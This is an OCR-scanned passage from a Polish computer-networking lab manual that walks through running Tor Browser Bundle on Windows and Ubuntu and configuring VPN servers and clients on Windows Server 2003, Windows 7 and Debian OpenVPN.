http://www.torproject.org/download/download.html.en

6.4.2. Przed pierwszym uzyciem aplikacje trzeba rozpakowa¢, w tym celu kliknij
dwukrotnie na pobranym pliku i wskaz dowolne miejsce na dysku, gdzie
zostanie rozpakowana aplikacja (np. ,,C:\TORV\”), a nastgpnie kliknij Extract
(rys. 6.22).

7-Zip self-extracting archive X

Rys. 6.22. Proces rozpakowywania archiwum zawierajacego
Tor Browser Instant Messaging Kundle
Zrédlo: opracowanie wlasne.
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6.4.3. Gdy proces rozpakowywania archiwum zostanie ukonczony przejdz do
katalogu, ktéry wskazate§ w poleceniu wyzej (w naszym przypadku
CATOR\Tor Browser), a nast¢pnie uruchom aplikacje, klikajac dwukrotnie
na Start Tor Browser.exe (rys. 6.23).

. v TOR » TorBrowser »

Plik Edycga Widok Pomoc

MNarzedzia

Wy Organizuj ~ Widoki ~ |l Otworz S Pocrtae-mail |y Udostep

Ulubione facza Mazwa Data modyfikacji Typ Rozm
A
@ Muzyka Dsfa
B Obrazy . Docs
% Ostatnic zmien... | FirefoxPortable
I . PidginPortable
E Wyszukiwania

] (5 Start Tor Browser.exe
J Publiczny

Rys. 6.23. Uruchamianie Tor Browser Instant Messaging Bundle
Zrédto: opracowanie wiasne.

6.4.4. Po uruchomieniu wyswietlony zostanie Vidalia Control Panel oraz rozpoczety
zostanie proces laczenia si¢ z sieciag TOR; jezeli proces taczenia przebiegnie
prawidtowo, w goérnej czgsci panelu wyswietlona zostanie nastgpujaca
informacja: ,,Connected to the Tor network!” (rys. 6.24), a charakterystyczna
ikona w ksztalcie cebuli w zasobniku systemowym zmieni kolor na zielony
(rys. 6.25).

| - Vidalia Control Panel

é Connected to the Tor network!

Vidalia Shortcuts

Stop Tor Setup Relaying

View the Metwork ' Use a Mew Identity

B8, Bandwidth Graph @ Help 6 About

LEJ Message Log K Settings ﬁ Exit

Show this window on startup

Rys. 6.24. Panek kontrolny aplikacji TOR
Zrédlo: opracowanie wlasne.
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Rys. 6.25. Charakterystyczny wyglad ikony aplikacji w zasobniku systemowym
Zrédto: opracowanie wlasne.

6.4.5. Natychmiast po potaczeniu si¢ z siecig aplikacja otworzy okno prze-
gladarki, taczac si¢ z nastgpujacym adresem: https://check.torproject.org/, raz
jeszcze potwierdzajac, ze korzystasz z sieci TOR.

) Are you using Tor? - Moailla Firefox

o C P Q@Hﬁpsf"(HE(k(mpmJec(nrg"’\ang:en-ui&smal\:l [and |2 ]

£, MostVisited |_| Learn more about Tor |_| The Tor Blog

|| Are you using Tor?

Congratulations. Your browser is configured to use Tor.

Please refer to the Tor website for firther information about using Tor safely. You are now free to browse the Internet anonymously.

Additicnal infommsticn:

oex now log sny informavion sbous visivers

Svailible in the following languages:

Rys. 6.26. Widok strony sprawdzajacej czy korzystamy z sieci TOR dla przegladarki
wchodzacej w sktad pakietu Tor Browser Instant Messaging Kundle
Zrédto: opracowanie wiasne.

Wraz z przegladarka uruchomiony zostanie kreator dodawania konta
w komunikatorze tekstowym Pidgin.

Welcome to Pidgin!

You have no IM accounts configured. To start connecting with
Pidgin press the Add... button below and cenfigure your first
account. If you want Pidgin to connect to multiple IM
accounts, press Add... again to configure them all.

You can come back to this window to add, edit, or remove
accounts from Accounts=Manage Accounts in the Buddy List
window

Rys. 6.27. Kreator dodawania nowego konta w komunikatorze Pidgin
Zrédlo: opracowanie wlasne.
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6.4.6. Aby potwierdzi¢, ze jedynie przegladarka uruchomiona przy starcie aplikacji
chroni Twoja anonimowo$¢ odwiedz adres z poprzedniego punktu,
wykorzystujac dowolng inng przegladarke. Ponizszy rysunek prezentuje
wynik dziatania tego typu eksperymentu.

£) Are you using Tor? - Mozilla Firefox 4.0 Beta 9

| & Are you using Tor? x [

\(_-/‘ | & EEEEE0 https://check torproject.org/?lang=en-US&small=1

-lal[*9-~ Googte

Sorry. You are not using Tor.

If you are attempting to use a Tor client, please refer to the Tor website and specifically the instructions for ing your Tor client.

Rys. 6.28. Widok strony sprawdzajacej czy korzystamy z sieci TOR dla przegladarki
niekorzystajacej z sieci TOR. Zrédto: opracowanie wiasne.

Po zamknigci okna przegladarki oraz komunikatora aplikacja automatycznie
roztaczy si¢ z siecia TOR i zakonczy dziatanie.

6.5. Tor Browser Bundle wersja dla Linux-a

6.5.1. Przejdz na wirtualng maszyn¢ z systemem Ubuntu 10.10 i pobierz
najnowsza wersje Tor Browser Bundle dla systemu z rodziny Linux ze
strony producenta http://www.torproject.org/download/download.html.en .

6.5.2. Przejdz do katalogu, w ktérym zapisate$ archiwum, nast¢pnie rozpakuj je
prawym przyciskiem myszy na archiwum i wybierajac Extract Here.

Places s

i bss

@ Desktop
— File System
Il Network.
— Floppy Drive
& Trash

i) Documents
& Music

i® Pictures

B videos

i3 Downloads

&l Open with Archive Manager

B ¢ Open with Archive Mounter

"tor-browser-gnu

< | flitbss || Downloads

Open With Other Application...
Cut
Copy

Make Link
Rename...
Copyto
Move to
Move to Trash
Send To...
Extract Here

Properties
B L D e

Rys. 6.29. Tor Browser Bundle — rozpakowywanie archiwum
Zrédlo: opracowanie wlasne.
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6.5.3. Przejdz do powstatego w procesie rozpakowywania katalogu i uruchom
aplikacje klikajac dwukrotnie start-tor-browser, a nast¢pnie Run (rys. 6.30),

== Do youwant to run "start-tor-
browser", or display its contents?

"start-tor-browser” is an executable text file.

| RuninTerminal | | Display [ | Cancel | | Run

Rys. 6.30. Tor Browser Bundle — uruchamianie aplikacji
Zrédlo: opracowanie wlasne.

Tak jak w przypadku wersji dostgpnej na systemy z rodziny Windows
uruchomiony zostanie Vidalia Control Panel, a po udanym potaczeniu do sieci
TOR uruchomiona zostanie odpowiednio skonfigurowana przegladarka, ktéra
potaczy si¢ ze strona majaca zweryfikowaé czy korzystasz z sieci TOR.
Zamknigcie okna przegladarki zatrzymuje dziatanie aplikacji.
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7. WIRTUALNA SIEC PRYWATNA

Opracowat:
Cel ¢wiczenia:

Potrzebne narzedzia:

Literatura:

VPN (ang. Virtual Private Network, Wirtualna Sie¢ Prywatna) to struktura
logiczna bazujaca na rzeczywistej sieci, takiej jak np. Internet, umozliwiajaca
zestawienie tunelowanego potaczenia miedzy uzytkownikami tej struktury w taki
sposob, ze wezly sieci rzeczywistej staja si¢ ,,przezroczyste” dla pakietow
przesytanych w ramach potaczenia VPN. Taki tunel jest najczgSciej kompresowany
lub szyfrowany w celu zapewnienia lepszej jakosci lub odpowiedniego poziomu
bezpieczenstwa przesylanych danych. Potaczenia VPN wykorzystywane sa w
miejscach, gdzie nie istnieje mozliwos$¢ lub nie jest optacalne stworzenie wlasnej

Sebastian Bugata

Konfiguracja serwera oraz klienta ustugi VPN
Microsoft Windows server 2003, Microsoft Wndows
7, BackTrack 4, Ubuntu 10.10, OpenVPN, OpenSSL.

M. Szmit, M. Gusta, M. Tomaszewski,

101 zabezpieczen przed atakami w sieci komputerowe;j,

Wyd. Helion, 2005, ss. 463-466.

prywatnej infrastruktury sieciowe;j.

Debian Linux 5.0
172.16.1.1/ 24

BackTrack 4 R2
172.16.1.2/ 24

Microsoft Windows Microsoft Ubuntu Linux
Server 2003 Windows 7 10.10
172.16.1.3/ 24 172.16.1.4/ 24 172.16.1.5/ 24

Rys. 7.1. Topologia sieci wykorzystana w ¢wiczeniu
Zrédto: opracowanie wlasne.
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7.1. Konfiguracja serwera VPN w systemie Windows Server 2003

7.1.1. Start -> Panel sterowania -> Narzedzia administracyjne -> Zarzadzanie
tym serwerem, w oknie, ktére si¢ pojawi wybierz Dodaj lub usun role.

EERT = o] x|
5 Zarzadzanie tym serwerem
RZ

Serwer: AD

Narzedzia i aktualizacje

\E‘g Dodawanie rél do serwera

Dodawanie 14l do seruera umaziiaia mu wykonywanie specyficznych

. Haragdzia administracyine
2adla Na przyhad rols servera lkéw pozwols sererow na bodafiub isuftoR [—
udostepnianie plikow. Aby doda rolg, uruchom Kreatora @ Przeceyts; na temat 1él sl
Konfigurowania serwera, Kikajar przycisk Doda lub usufi rale, O o Windows Update

Informacie o nazwie komputera

Kenfiguracia wigkszonych

Zarzadzanie rolami serwera zabezpisczen programu Intermet

Explorer

P dodani roll powrdé do tej strany v dowolnym momenciz, aby
skorzystat z narzsdz | informac) batwizjacych wykonywanie
codziennych 2adzn administracyinych,

2Zobacz tez
1 Zacne rolerie zostaly dodane do teqo serwera, Aby dodat
" rale, Hikni prayeisk Codaj b usuri ol Pomac i obshuga techricana
Microsoft Techbist

Zestawy Deployment and
Resaures Kis

Usta ogélnych zadaf
admiistracyinych

Wsptinoty Windows Server
Cormmurities

Conowego

Program ochrany technolagi
strategicznej

[ Hig wyéwietlaj tei strony pray logowaniu

Rys. 7.2. Dodanie serwera VPN w systemie Windows Server 2003
Zrédto: opracowanie wlasne.

7.1.2. Kliknij Dalej.

Kreator konfigurowania serwera x|
Wstepne kroki
Mozesz sprawdzid, czy serwer zostat pomyélnie skonfigurowany, wykonuige przed konkynuawanien =]
nastepujace kroki. '_

Przed kontynuowaniem zweryfikuj, 2e zostaty wykonane ponizsze kroki,

®  Zainstaluj wszystkie modemy i karty sieciowe.

®  Podtacz wszystkie niezbedne kable.

& Jesl planujesz udywanie tego serwera do taczenia sie 2 Internetem, potacz sie z Internetem teraz,
® Wigrz wszysthkie urzadzenia peryferyine, takie jak drukarki i dyski zewnetrzne,

& Preygotuj dysk CD Instalatora sytemu Windows Server 2003 lub sciezke instalacii sieciowe;.

Po Kiknigdiu przycisku Dalej, kreator rozpocznie wyszukiwanie potaczen sieciowych,

= Wstece Anuluj Pomoc

Rys. 7.3. Uruchomienie kreatora dodawana serwera
Zrédlo: opracowanie wlasne.
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7.1.3. Na kolejnej stronie wybierz opcj¢ Konfiguracja niestandardowa i kliknij
Dalej.

Kreator konfigurowania serwera x|
Opcje konfiguracji
Do tego serwera mozna dodad zestaw podstawowych rdl lub go dostosowad, dodajac lub usuwajac 5‘
rale,

Skonfiguruj ten serwer pray uyciu:

¢ Korfiguracja standardowa dia pierwszego serwera

Uprasé konfigurowanie nowej sieci poprzez dodanie bypowego zestawu rdl dia pierwszeqo serwera, Ta
opcja konfiguruje ten serwer jako kontroler domeny poprzez zainstalowanie ustugi katalogowej Active
Directory i inskaluje serwer DMS i serwer DHCP (jesli wymagany) dla zarzgdzania adresami IP,

Dostosuj ken serwer dodajgc rale, kakie jak serwer plikdw, serwer wydruku lub serwer aplikaci, kedre ma
pefnic ten serwer, Mozesz takzZe uzyC bej opoji w celu usuniecia istniejgoych rol z tego serwera,

< Wstecz I Dalej = I Anuluj Fomoc

Rys. 7.4. Niestandardowa konfiguracja serwera
Zrédto: opracowanie wiasne.

7.1.4. Z listy wybierz Serwer dostgpu zdalnego/sieci VPN i Dale;.

Kreator konfigurowania serwera

Rola serwera
Mozesz skonfigurowad ten serwer do petnienia jednej lub wiecej specyficznych rdl, Jedli choesz
dodad wigcej niz jedna role do kego senwera, moZesz ponawnie uruchanié kego kreatora.

‘“Wybierz role, Jesli rola nie zostata dodana, mozesz jg dodac. Jesli rola zostata juz dodana, mozesz jg usungc.
Jesli rola, kkdrg cheesz dodad lub usunad nie jest wyswietlona, obwdrz aplet Dodaj lub usur progranmy,

e pm— | Skonfigur... | Serwer dostepu zdalnego/sieci
s " ¥PN
Serwer plikiw Mie
Serwer wydruku Mie
Serwer aplikacii (115, ASP.NET) Mg Serwery dostepu zdalnego/siec YPM
Serwer poczty (POP3, SMTP) Mie: zezwalaja Kientom zdalmym na taczenie sie

Serwer terminali Mie z siecig poprzez potgczenie telefoniczne

set dostepu zdalnegof y lub bezpieczne potgczenie wirtualne] siec
kaontraler domeny (Active Directory) Tie prywatnej YPN, Zapewniajq takze
Serwer DNS Mie: translacje adresdw sieciowych, khdra
Serwer DHCP Mie urmozliwia wszysthkim komputeram w matej
Serwer multimedidw strumieniowych Hie siedi wspiuzytkowanie pojedynczego

Serwer WINS Mie potaczenia z Inkernetem,

Przeczytai na bemat serwerdw dostepu
zdalneqo)sieci YPH

Wyswiet] dziennik Konfiqurowanie serwera,

< Wstecz I Dalej = I Anuluj Pomoc

Rys. 7.5. Wybor roli serwera
Zrédlo: opracowanie wlasne.

175



7.1.5. Na kolejnych dwdéch ekranach kliknij Dalej.

7.1.6. Wybierz opcje Dostep zdalny (potaczenie telefoniczne lub sie¢ VPN)
i Dale;j.

Kreator instalacji serwera routingu i dostepu zdalneg

Konfiguracja .
MozZesz whaczye dowolng kombinacie ustug lub dostosowad ten serwer. &J

& Dostep zdalny [pokaczenie telefoniczne lub sist YPNE

Zezwala klientom zdalnym na taczenie sie z tym serwerem poprzez potaczenie
telefoniczne lub bezpieczne pokaczenie internetowe wirtualne] sieci prywatne) YRH.

" Translacia adiestw sieciowych [NAT)

Zezwala klientom wewnetrznpm na baczenie sie z Internetem przy uiyciu jednego
publicznego adresu IP.

" Dostep prywatne] sieci wirtualne] (PN i banslacia adreséw sieciowych [MAT)
Zezwala klientom zdalnym na taczenie sie z twm serwerem poprzez Internet, a klientom
lakalnyrn na baczenie sie z Internetem pray wéyciu pojedynczego publicznega adresu [P,

{” Bezpieczne pobaczenie miedzy dwiema sieciami pruwatnpmi
Pokacz ta siec z siecia 2dalng. taka jak sied w oddziale fimy.

" Konfiguiacia niestandardowa
‘wWisbierz dowolng kombinacie funkcji dosteprych w ushudze Routingu | dostepu zdalnego.

Aby uzpskad wieoe] informacii o tych opojach, zobacz Pomoc Routingu i dostepu zdalhego.

< Wistecz I Dalej > I Al |

Rys. 7.6. Widok kreatora instalacji serwera dostgpu zdalnego
Zrédlo: opracowanie wilasne.

7.1.7. Nastgpnie Serwer sieci VPN i Dalej.

Kreator instalacji serwera routingu i dostepu zdalneg

Dostep zdalny .
Mozna tak skonfigurowad ten serwer, aby odbierat zardwho pokaczenia dial-up, %
ik i VPN,

=

=

Senwer WPN [zwany rdwniez bramg YPM] moze otrzpmywad potgczenia od
klientdw zdalnych za pomoca Intermetu.

" Telefoniczne

Senwer telefonicznega dostepu zdalnean moze otrzpmywad pokaczenia
bezpodrednio od klientdw zdalnych za pomocg medium telefonowania,
takiego jak modem.

< Watecz I Dalej > I Anuluj

Rys. 7.7. Konfiguracja sposobu dostgpu do serwera
Zrédlo: opracowanie wilasne.
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7.1.8. Na kolejnym ekranie zaznacz adapter sieciowy, ktéry bedzie uzywany
przez ustuge VPN (adapter musi posiada¢ dostgp do Internetu).

Kreator instalacji serwera routingu i dostepu zdalnego

Potaczenie sieci YPN
Aby umozliwic klientom YPM Faczenie sie z tym senwerem, co najmnie] jeden

interfejz sieciowy musi byé pokaczony z Intemeten.

‘wiybierz interfejz sieciomy, kidmy baczy ten senwer 2 Internetem.

Interfejsy sieciowe:

| Opis | dresIP

Pokacz

[V ‘wiacz zabezpieczenia na wybranyrm interfejsie popzez ustawienie statycznpch fitd

Statyczne filtrowanie pakietdw umozliwia dostep ruchu WPH do tego serwera tylko przez
wpbrany interfejs.

Al_:y_ uzyskad wiece| informacii o interfejsach sieciowych, zobacz Pomoc Foutingu i dostepy

< istecz I Dalej » I Al |

Rys. 7.8. Wybor adaptera sieciowego dla ustugi VPN
Zrédlo: opracowanie wlasne.

7.1.9.Wybierz Automatycznie jako sposéb przypisywania klientom zdalnym
adresow IP i przejdz Dalej.

Kreator instalacji serwera routingu i dostepu zdalnego

Przypisywanie adresow IP i
Mozesz wpbrad metode preypisywania adresdw P klientom zdalmym. %

Jak adresy [P majg byé przppisywane klientorn zdalhym?

 {utomatycznia

Jesli do przypigpwania adresdw uzywasz serwera DHCP, upewni] sig, Ze jest on
skonfigurowany poprawnie. Jesli nie uzpwasz serwera DHCP, adresy wpgeneruje
ten senver

" Z okreslonego zakresu adresdw

<wsteczl Dalej > I Anuluj |

Rys. 7.9. Wybdr sposobu adresacji klientéw zdalnych
Zrédlo: opracowanie wlasne.
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7.1.10. Na kolejnym ekranie wybierz opcj¢ Nie, uzyje¢ ushugi routingu i dostepu
zdalnego do uwierzytelniania zadan polaczen.

Kreator instalacji serwera routingu i dostepu zdalnego

Zarzadzanie wiel - dost 4ol -
Zadania pobaczenia moga bud uwierzptelnianie lokalnie albo presk azywane do %
uwierzptelnienia przez senwer zdalnego uwierzytelniania uzytkovwnil G
telefonujacych [RADILS).

Mima ze, ushuga routingu | dostepu zdalnego moze uwierzptelniad 2adania potgczen,
duze sieci zawierajgce wiele senwerdw dostepu zdalnego czesto uZywajg senvera
RADIUS w celu centralnegn uwierzytelhiania

Jesli uzpwasz serwera RADIUS w sieci, mozesz skonfigurowad ten senwer do
przesyhania dale) 2adar uwierzptelnienia do zenwera RADILS

Czy chcesz skonfigurowad ten serwer do pracy z serwerem RaDIUS?

& Nie, uzyje ushugl routingu | dostepu zdalnego do uwisrzytelniania 2ada potaczer

= Tak. skonfiguruis ten serwer do pracy z serwerem ushugi RADIUS

<wsteczl Dalej > I Ainuluj

Rys. 7.10. Wyb6r sposobu uwierzytelniania
Zrédto: opracowanie wiasne.

7.1.11. Na dwéch kolejnych ekranach podwojnie potwierdz przyciskiem Zakoncz
utworzenie serwera VPN.

i serwera routingu i dostepu zdalnega

. . . .. Ten serwer jest teraz serwerem dostepu
Konczenie pracy Kreatora instalacji

E serwera routingu i dostepu zdalnego zdalnego/sieci VPN

Serwer zastat pomysinie skonfigurawany jako serwer dostepu zdalnega/sied
VPN, Aby dadaé lub usunag kolejn, role, ponowinie Uruchom Kreatara

Fraca Kreatora instalacii serwera ioutingu i dostgpu
kanfigurawania serwera.,

zdalnego zostata pomysinie ukoriczona,
Podsumowanie: Wyswiet] nastepne kroki dia bej rol

Klienci WPM Yaczq sie z nastgpuigoym interfejsem -
publicznym; Pokgczenie lokalne

Klienci YFM £ praypisani do adiesacii w nastepuiges
sieci: Potgozenie lokalne.

AN

Potaczenia 2 klientami sq akceptowane i
uierzytelniane pray uzyci: 2asad dostepu zdalnego do - |

Zarim klienci beda mogl sig Facayé nalsy dodad karts
usytkowinikén lokalnie lub 2a pomosa ushugi Active

Ditectory. Aby uzyskad
ugytkouiniké, zobacz

Zapisane zmiany mozna obejrzed w dzienriky Kenfiourowanie serwera.
Aby zamknat kreatora, Kiknij praycisk Zakorice.

Mby zamknag kieators, Klkni praycisk Zakeorcz

< Wstecz | TR I Andlu | < lilstese | Zalorice I Al Pomoc

Rys. 7.11 Potwierdzenie utworzenia serwera
Zrédto: opracowanie wlasne.

Aby moéc korzysta¢ z dostgpu zdalnego, musisz utworzy¢ w systemie konto
uzytkownika, ktéremu zezwolisz na dostgp przez ustuge VPN.
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7.1.12. Konto tworzy si¢ wchodzac w menu Start, nastgpnie prawym przyciskiem
myszy na Méj komputer i wybierz Zarzadzaj. W oknie, ktdre si¢ pojawia,
wybierz Uzytkownicy i grupy lokalne -> Uzytkownicy.

7.1.13. Z menu na gorze wybierz Akcja -> Nowy uzytkownik i wypetij formularz
dla nowego uzytkownika.

O zarzadzanie komputerem - | Dlﬂ
Widok Okno  Pomoc |_ [ il

e = oy u2ytkownik, ..

E Zarze  Mowe cknoztegomisisca  [azwa | Petria nazwa | opis

- . Endministrator wbudowane konto do administrow:
Gost whudowane konto do dostepu do b
SUPPORT_3&... CN=Microsoft Corporation... To jest konto dostawcy dla Pomocy

Oddwies
Ekspartuj liste. ..

:  Pomoc
TR, |
(23 Grupy
Dzienniki wydajnosci i alerty
g Menedzer urzadzen
EI& Magazyn

é‘:,' Magazyn wymienny
Defragmentator dyskdw
Zatzadzanie dyskami
[+ B} Ustugi i aplikacie

Rys. 7.12. Dodawane nowych uzytkownikéw
Zrédlo: opracowanie wlasne.

7.1.14. Dodaj nowego uzytkownika o nazwie student, jako hasto ustaw
»password”. Dodatkowo zaznacz opcj¢ Uzytkownik musi zmieni¢ hasto
przy nastepnym logowaniu. Aby doda¢ uzytkownika, wybierz Utworz.

Nowy uzytkownik ﬂll

Mazwa
uzytkownika:

Istudent

Petna nazwa: I

Opiz: I

Hasko: Ioooooooo

Patwierd? hasto: |"""u|

V' Uzytkownik musi zmienié hasto przy nasteprym logowaniu
| Uzptkowrik niemoze zmienit haska

™| Hastanigdy nie wygasa

™ Korto jest wytaczone

Ubwarz I Zarmknij |

Rys. 7.13. Formularz dodawania nowego uzytkownika
Zrédto: opracowanie wiasne.
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Po stworzeniu konta musisz mu jeszcze zezwoli¢ na dostgp zdalny, kliknij
prawym klawiszem na uzytkowniku i wybierz Wlasciwosci -> Telefonowanie
i zaznaczamy opcj¢ Zezwalaj na dostep.

wasciwosci: student x|

Ogdlne I Czbonek grupy I Frofil I Srodowisko | Seszje |
Zdalne sterowanie I Profil uskug terminalowmch Telefonawatie

— Uprawnienie ustugi Dostep zdalny [telefornowanie lub sieci YPM)

€ Ddmdive dostepu

™ Kontrol dostep poprzez zasady dostepu zdalneqo

[~ Wwerfiku identyfikator rozmdwcy:

— Opcje wywokania zwrothego

& Bez wywokania zwiotnego

 Ustawiane przez komputer vawohuiacy [tylko ustuga Fouting | dostep zdalny)

7 Zawsze udywal wowotania zwiotnega na numer: I

[™ Preypisz statyczny adres |P I
T Zastosuj rasy statycane

Zdefiniuj trasy, ktdre maja byd uzpte w tym potaczeniu Trasy statycane .. |
telefoniczrym. =

aK I Anuly | Zastosu |

Rys. 7.14. Dodawanie prawa dostgpu zdalnego dla uzytkownika
Zrédto: opracowanie wlasne.

7.2. Konfiguracja klienta VPN w systemie Windows 7

W systemie Windows 7, dzigki przejrzystemu kreatorowi nowego potaczenia,

mozemy bardzo szybko skonfigurowaé ustuge dostgpu zdalnego do wirtualnej
sieci prywatne;j.

7.2.1. Aby rozpocza¢ konfiguracje przejdz do Centrum sieci i udostepniania,

w tym celu wybierz Start -> Panel sterowania -> Wyswietl stan sieci
i zadania (kat. Sieci i Internet).
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7.2.2. W oknie, ktdre si¢ pojawi wybierz Skonfiguruj nowe polaczenie lub nowa
sie¢ (rys. 7.15).

e

e - arr =
CJL_)' 3 i Siadilhemet 5 Centrum tiec |udnitepnisnia w [ 43 || Srboj w Prmels serowanic o
St0ng Ghiwng Pane @ -
,WM?:: Wieswiet] podstawowe informacie o sieci | skonfiguruj pofaczenia
[} - Tkt pdng mape
Trminri intarsnia karty -’k ‘m 0
Fazlacrd ol WIN-10YPSRERPL et Intermst
il el EaGw ENSOWENE [Ten kxmputer)
i ' TR T——— [ ——
e Typdostype:  Inbeenat
I-I B tie domons. Homelogep: fprezono

Pelgepenic  § Polporenie lokalng

Zinienianie uslbwiel 4 ebswych
Juib novey Sed =

Sonfiguru pedac eprewadowe. sterckopesmowe, Telefoniczne ad hoo b VEN
alex shoandigrong router bl punicd dosbege.

ik

Potwcr & siexiy

Pokecz lub poncwnie pofyc: 2 el berprewedow, proeswedon, teleloniceng lub
peinednictwam peljcnemia VRRL

Wkier: grupe domown | opcje udcrtepniania

& w

Uk donbep do plikéeri drukarek cnajdujycys h siy na inmych bemputerach w sieci b

Sl Trreen ustEwienia wdostepnianis,
Grups domows
(= Bonsiszewanie pr
Opeje intemebeave ] T i :‘uhe“:m
Zdeqnazu i razwiaz prabilemy 2 sieciz o wzyske infommacie ra bemat razwiagyania
2apars sysharu Windows poon }

Rys. 7.15. Kreator nowego potaczenia
Zrédto: opracowanie wlasne.

7.2.3.Nastepnie wybierz Polgcz z miejscem pracy. Skonfiguruj polaczenie tele-
foniczne lub polaczenie VPN z miejscem pracy (rys. 7.16) i przejdz Dalej.

=e

-~
Q‘) @ Skonfiguruj potaczenie lub sie¢

Wybierz opcje polgczenia.

Pofacz z Internetem
Skonfiguruj potgczenie bezprzewodowe, szerokopasmowe lub telefoniczne z Internetem.

qt. Skenfiguruj nowa siet
catt;. Konfiguruj nowy router lub punkt dostepu.

Polacz z miejscem pracy

Skonfiguruj potaczenie telefoniczne lub potaczenie VPN z migjscem pras

= Skonfiguruj polaczenie telefoniczne
m# Polacz z Internetem przy uzyciu polaczenia telefonicznego.

Rys. 7.16. Wybor typu polaczenia sieciowego
Zrédlo: opracowanie wlasne.
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7.2.4. Na kolejnej stronie wybierz Uzyj mojego polaczenia internetowego (VPN)
(rys. 7.17).

=l ==
@ |_:ﬂ Polgcz z miejscem pracy

Jak chcesz sig tgczyc?

< Uzyj mojego potgczenia internetowego (VPN)
Polgcz przy uzyciu potaczenia wirtualnej sieci prywatnej (VPN) za posrednictwem Internetu.

< Wybierz numer bezpoérednio
Polgcz bezposrednio z numerem telefonu bez posrednictwa Internetu.

N e

Co to jest polaczenie VPN?

Rys. 7.17. Wyb6r sposobu polaczenia
Zrédlo: opracowanie wlasne.

7.2.5.W polu Adres internetowy wpisz adres IP serwera VPN, z ktérym chcesz
nawiaza¢ potaczenie (172.16.1.30), w polu Nazwa miejsca docelowego:
wpisz nazwg polaczenia oraz zaznacz opcje Nie 1acz teraz, tylko skonfi-
guruj, aby mozna bylo polaczy¢ si¢ pézniej, po czym wybierz przycisk
Dalej.

=HAE X
@ @ Polacz z migjscem pracy

Wopisz adres internetowy, z ktérym cheesz sie polaczyc

Ten adres mozna uzyskac od administratora sieci.
Adres internetowy: 17216.1.30

Nazwa migjsca docelowego: Polaczenie sieci VPN

[] Uzyj karty inteligentnej

(c‘ [7] Zezwalaj innym osobom na korzystanie z tego polaczenia

Ta opcja zezwala dowolnej osobie z dostepem do tego kemputera na uzywanie tego
potaczenia.

[¥] Nie facz teraz: tylko skonfiguruj, aby mozna bylo polgczyé sie pézniej

Rys. 7.18. Konfiguracja adresu i nazwy potaczenia
Zrédto: opracowanie wiasne.
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7.2.6. Wypetnij pola Nazwa uzytkownika oraz Haslo danymi dostarczonymi
przez administratora (login — student, hasto — password) serwera VPN,
z ktérym chcesz nawiazac potaczenie i kliknij Utwérz (rys. 7.19).

=NRE X
@ ‘\{ﬂ Polacz z migjscem pracy
Whpisz nazwe uzytkownika i hasto
Nazwa uzytkownika: student
Hasto: password
[]Pokez znaki
[] Zapamietaj to hasto
Domena (opcjonalne):

Rys. 7.19. Uwierzytelnianie polaczenia
Zrédto: opracowanie wiasne.

7.2.77. W tym kroku mozesz juz nawiaza¢ potaczenie z serwerem lub wybraé
Zamknij i przejs¢ do nastgpnego punktu (rys. 7.20).

= = =]
@ L:i] Polgcz z miejscem pracy
Polaczenie jest gotowe do uzycia.
< Polacz teraz

Rys. 7.20. Konczenie pracy kreatora nowego polaczenia
Zrédlo: opracowanie wlasne.
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7.2.8. Po zakonczeniu konfiguracji w Polqczeniach sieciowych pojawi si¢ nowe
potaczenie o nazwie nadanej w kroku 7.2.5. Dwukrotne klikniecie na ikong
potaczenia spowoduje wyswietlenia okna, w ktérym wpisz hasto dostarczone
przez administratora takie samo jak w kroku 7.2.6 i wybierz Polacz.

E_‘ taczenie z Polaczenie sieci VPN @

Nazwa uzytkownika: student

Haslo |
Domena

[] Zapisz te nazwe uiytkownika i haslo dla nastepujgcych
ugytkowniléw

a

& Do

Iny uzytkownik tego komputera

[ Polgee | [ Ay | [Wiasciwosci | [ Pomoc |

Rys. 7.21. Ustanowienie polaczenia z serwerem
Zrédlo: opracowanie wilasne.

7.3. Konfiguracja serwera OpenVPN w systemie Debian 5.0
7.3.1. Przejdz do wirtualnej maszyny z systemem Debian 5.0.

7.3.2. Aby pobra¢ aplikacje OpenVPN edytuj list¢ adreséw repozytoriow za
pomoca ponizszego polecenia:

nano /etc/apt/sources/list
na koncu pliku dodaj ponizsze wpisy:

deb http://ftp.pl.debian.org/debian/ lenny main non-free
contrib

deb-src http://ftp.pl.debian.org/debian/ lenny main non-free
contrib

Wyjdz z edytora, stosujac kombinacje klawiszy ctrl + x, nastgpnie potwierdz
zapisanie zmian wciskajac klawisz t i zapisz nie zmieniajac nazwy.
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7.3.3. Pobierz nowa liste dostepnych programéw z repozytoriéw poleceniem:

apt-get update

7.3.4. Teraz mozesz zainstalowac¢ aplikacje przy pomocy polecenia:

apt-get install openvpn

7.3.5. Aby wygenerowa¢ plik ta.key przejdz do katalogu /etc/openvpn/ i uzyj
polecenia:

openvpn --genkey --secret ta.key

Kazdy klient w katalogu z plikiem konfiguracyjnym musi posiada¢ kopie
tego klucza.

7.3.6. Do katalogu /etc/openvpn/ przenie$ cala zawartos¢ katalogu /VPN/serwer/
z plyty CD, znajduja si¢ w nim gotowe certyfikaty (o tym jak generowac
wlasne certyfikaty przeczytasz w rozdziale 9) oraz plik konfiguracyjny
serwera. Omowienie wazniejszych elementéw pliku konfiguracyjnego
serwera ponizej:

pierwsza czgs¢ configu okresla port, typ serwera oraz rodzaj tunelu.

port 1194
proto udp
dev tun

kolejne cztery linie wskazuja miejsce, w ktérym umiesciliSmy certyfikaty
oraz klucz serwera.

ca ca.crt

cert server.crt

key server.key # This file should be kept secret
dh dhl024.pem

nastgpna linia okresla zakres adresow IP wykorzystywanych wewnatrz
tunelu, pierwszy adres z puli (w naszym przypadku 10.8.0.1) przypisywany jest

ZaWSZe SErwerowi.

server 10.8.0.0 255.255.255.0
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dodanie ponizszego wpisu do pliku konfiguracyjnego serwera umozliwia
wzajemna komunikacje pomig¢dzy klientami, domy$lnie klient widzi jedynie
serwer, z ktérym sig¢ taczy.

client-to-client

keepalive sprawdza czy potaczenie nie zostalo zerwane, wysytajac co 10
sekund (pierwszy parametr) ping do klienta, jezeli Zadna odpowiedZ nie dotrze
do serwera w przeciagu 120 sekund (drugi parametr) serwer uzna, ze polaczenie
z klientem zostalo utracone.

keepalive 10 120

wpis tls-auth stanowi dodatkowe zabezpieczenie przed atakami typu DoS
oraz UDP port flooding-iem, na serwerze drugi parametr wynosi 0, na klientach 1.

tls-auth ta.key 0

dwie ponizsze linie definiuja algorytm uzyty do szyfrowania i wilaczaja
kompresj¢ (plik konfiguracyjny klienta musi zawiera¢ doktadnie takie same dwie
linie).

cipher AES-256-CBC
comp—1z0

7.3.7. Uruchom serwer poleceniem:

/etc/openvpn/server.conf

